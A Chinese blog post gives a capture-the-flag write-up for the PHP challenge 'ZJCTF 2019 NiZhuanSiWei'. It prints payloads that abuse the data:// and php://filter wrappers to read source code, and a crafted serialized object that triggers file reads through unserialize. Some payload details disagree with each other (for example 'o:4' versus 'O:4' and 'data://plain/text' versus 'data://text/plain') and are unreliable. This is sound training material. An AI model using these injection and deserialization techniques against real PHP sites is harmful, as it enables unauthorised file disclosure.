当前位置: 代码网 > it编程>编程语言>Php > [ZJCTF 2019]NiZhuanSiWei1

[ZJCTF 2019]NiZhuanSiWei1

2024年08月02日 Php 我要评论
file_get_contents($text,'r')的时候,$text=data://text/plain,welcome to the zjctf会被当做url处理,而读取到的内容就是逗号后面的输入。利用php伪协议中的data协议,payload为text=data://text/plain,welcome to the zjctf。得到结果:O:4:"Flag":1:{s:4:"file";在进行文件包含的时候,我们可以利用php://filter伪协议查看源代码。

打开题目

php代码审计

.从代码中可以看出要求,以get方式传递text,file,password三个参数。

3.第一层验证if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

  传入text,而且file_get_contents($text,'r')之后内容为“welcome to the zjctf”

  利用php伪协议中的data协议,payload为text=data://text/plain,welcome to the zjctf

  file_get_contents($text,'r')的时候,$text=data://text/plain,welcome to the zjctf会被当做url处理,而读取到的内容就是逗号后面的输入

传入file参数,file如果不包含flag就会被包含。根据提示,我们需要包含useless.php

在进行文件包含的时候,我们可以利用php://filter伪协议查看源代码

payload:file=php://filter/convert.base64-encode/resource=useless.php

base64解码得到

<?php  

class flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("u r so close !///come on plz");
        }  
    }  
}  
?>  

代码审计传递password参数

<?php  

class flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("u r so close !///come on plz");
        }  
    }  
}  
$a=new flag();
echo serialize($a);
?>  

得到结果:o:4:"flag":1:{s:4:"file";s:8:"flag.php";}

联合起来,payload为:?text=data://plain/text,welcome to the zjctf&file=useless.php&password=o:4:"flag":1:{s:4:"file";s:8:"flag.php";} 

根据提示查看源码

得到flag

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com